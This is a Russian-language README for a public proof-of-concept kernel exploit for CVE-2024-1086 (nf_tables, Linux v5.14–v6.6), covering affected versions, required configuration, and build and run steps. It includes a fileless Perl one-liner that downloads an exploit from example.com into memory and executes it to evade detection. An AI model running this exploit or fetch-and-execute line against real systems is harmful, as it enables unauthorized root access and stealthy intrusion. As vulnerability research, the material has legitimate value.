
Эксплойт локального повышения привилегий (proof-of-concept) для CVE-2024-1086, нацеленный на ядра Linux v5.14–v6.6 через уязвимость nf_tables, с 99.4% успеха на KernelCTF.
Универсальный эксплойт Proof-of-Concept для локального повышения привилегий для CVE-2024-1086, работающий на большинстве ядер Linux от v5.14 до v6.6, включая Debian, Ubuntu и KernelCTF. Уровень успеха составляет 99,4% в образах KernelCTF.
https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de
Полное описание эксплойта, включая справочную информацию и множество полезных схем, можно найти в статье на Flipping Pages.
Эксплойт затрагивает версии от (включительно) v5.14 до (включительно) v6.6, за исключением исправленных веток v5.15.149>, v6.1.76>, v6.6.15>. Патч для этих версий был выпущен в феврале 2024 года. Основная уязвимость затрагивает все версии (кроме исправленных стабильных веток) от v3.15 до v6.8-rc1.
Предостережения:
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y (включая Ubuntu v6.5)CONFIG_USER_NS=y), чтобы эти пространства имен были непривилегированными (команда sh sysctl kernel.unprivileged_userns_clone = 1), и чтобы nf_tables был включен (kconfig CONFIG_NF_TABLES=y). По умолчанию все это включено в Debian, Ubuntu и KernelCTF. Другие дистрибутивы не тестировались, но могут работать. Кроме того, эксплойт протестирован только на x64/amd64.Значения по умолчанию должны работать «из коробки» на Debian, Ubuntu и KernelCTF с локальной оболочкой. В непротестированных конфигурациях/дистрибутивах убедитесь, что значения kconfig соответствуют целевому ядру. Их можно указать в src/config.h. Если вы запускаете эксплойт на машине с более чем 32GiB физической памяти, увеличьте CONFIG_PHYS_MEM.
Если вы запускаете эксплойт через SSH (на тестовой машине) или reverse shell, вы можете переключить CONFIG_REDIRECT_LOG в 1, чтобы избежать ненужной сетевой активности.
Если это для вас непрактично, есть скомпилированный x64 бинарник с конфигурацией по умолчанию.
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
Бинарник: CVE-2024-1086/exploit
Запуск эксплойта так же прост:
./exploit
Также поддерживается выполнение без файлов (fileless), на случай пентестов, где необходимо избежать обнаружения. Однако на целевой системе должен быть установлен Perl:
perl -e '
require qw/syscall.ph/;
my $fd = syscall(SYS_memfd_create(), $fn, 0);
system "curl https://example.com/exploit -s >&$fd";
exec {"/proc/$$/fd/$fd"} "memfd";
'
Программы и скрипты («программы») в этом каталоге/папке/репозитории («репозиторий») опубликованы, разработаны и распространяются только в образовательных/исследовательских целях. Я («создатель») не одобряю любое злонамеренное или незаконное использование программ в этом репозитории, поскольку намерение состоит в обмене исследованиями, а не в совершении незаконных действий с ними. Я не несу юридической ответственности за все, что вы делаете с программами в этом репозитории.